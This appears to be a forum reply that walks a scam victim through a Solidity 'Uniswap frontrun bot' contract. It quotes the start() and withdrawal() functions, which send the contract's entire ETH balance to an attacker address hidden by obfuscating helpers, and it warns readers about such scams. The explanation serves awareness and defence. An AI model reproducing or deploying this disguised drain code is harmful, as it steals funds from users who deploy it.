Lets take this opportunity to try to learn how solidity works:
In the contract you copied there are 2 function that should interrest you:
The code for these two function is the following:
function start() public payable {
emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
payable(_callFrontRunActionMempool()).transfer(address(this).balance);
}
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
payable(withdrawalProfits()).transfer(address(this).balance);
}
You'll notice that woth are very similar. In both cases they emit an event, that is suppose to say what is happening for websites/indexers to react. In that case the content is just a bullshit string.
Then there is the actual code:
payable(_callFrontRunActionMempool()).transfer(address(this).balance);
and
payable(withdrawalProfits()).transfer(address(this).balance);
You can see that in both cases its very similar. It takes some address, and does a transfer to it, sending the entier balance of the contract. (transfer sends ETH, and address(this).balance is the amount of ETH currently held by the contract).
Neither of these function has access protection. So anyone (you, me, the scammer) can call the function and drain the assets. Only thing he needs is the address of the contract. Note that if the scammer was smart, he would put an event in the constructor to help him detect instances deploy by victims in case the victim stops halfway through the process like you did.
But then what is this address that the funds are sent to ? In both cases its the same:
function _callFrontRunActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
function withdrawalProfits() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
parseMemoryPool is just a function that turns a hex string into an address. Its not very well written, but it works. If you go look at callMempool() code, you'll see its just tring to obfuscate the address of the attacker. Once you understand that the mempool() function is string concatenation and that checkLiquidity() is int to hex string (with a left padding) you can reconstruct the address of the scammer.
Understanding how the scammer obfuscate its address into the code using bullshit variables like _memPoolSize is not that easy. But understanding what the start and withdrawal function do is actualy not that hard when you look into it.
Be carefull of scammers, there are many, and they are very creative. One thing to keep in mind is: if it sounds to good to be true, then it probably is. If there was an easy and profitable way to frontrun uniswap trades, that person would not tell you about it, and would exploit it itself. Frontrunning is actually a thing, but its very different from what that scammer claims. Its very hard to setup, and the few people that manage to profit from it will not tell there competition their secrets.
